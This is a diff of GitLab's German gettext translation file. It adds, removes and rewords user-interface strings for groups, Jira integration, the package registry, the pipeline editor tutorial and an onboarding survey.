@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr "Gruppeninfo:"
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr "Gruppen können durch %{subgroup_docs_link_start}Untergruppen%{subgroup_docs_link_end} verschachtelt werden."
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr "Keine Gruppen gefunden"
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr "Du kannst die Berechtigungen deiner Gruppenmitglieder und den Zugriff auf jedes Projekt in der Gruppe verwalten."
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr "Kopfzeilennachricht"
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr "Nutzdaten ausblenden"
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Wert ausblenden"
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "Verlauf"
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "ID"
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr "Zurück"
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr "Gibt an, ob dieser Runner Jobs ohne Tags auswählen kann"
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr "Ticketboards"
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr "Tickets können Bugs, Tasks oder zu diskutierende Ideen sein. Tickets si
msgid "Issues closed"
msgstr "Geschlossene Tickets"
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,15 +18613,15 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
+msgid "I’m joining my team who’s already on GitLab"
+msgstr ""
+
msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
msgstr "Jaeger-URL"
-msgid "Jaeger tracing"
-msgstr ""
-
msgid "Jan"
msgstr "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr "Jobs"
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr "Kubernetes-Cluster-Integration wurde erfolgreich entfernt."
msgid "Kubernetes cluster was successfully updated."
msgstr "Kubernetes-Cluster wurde erfolgreich aktualisiert."
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr "Lizenz"
@@ -19705,8 +20078,8 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
-msgstr "Web-IDE Funktionen verwalten"
+msgid "Manage Web IDE features."
+msgstr ""
msgid "Manage access"
msgstr "Zugriff verwalten"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr "Maximale Seite erreicht"
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr "Merge-Request"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr "Panel erweitern"
msgid "Metrics|For grouping similar metrics"
msgstr "Zum Gruppieren ähnlicher Metriken"
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr "Montag"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr "Neues Label benennen"
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr "Keine"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr "Seiten"
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "Letzte »"
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr "Passwort"
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr "Passwort (optional)"
@@ -23542,6 +23969,9 @@ msgstr "Frontend-Ressourcen"
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr "Zeitplan der Pipeline"
msgid "Pipeline Schedules"
msgstr "Zeitpläne der Pipeline"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Insgesamt:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
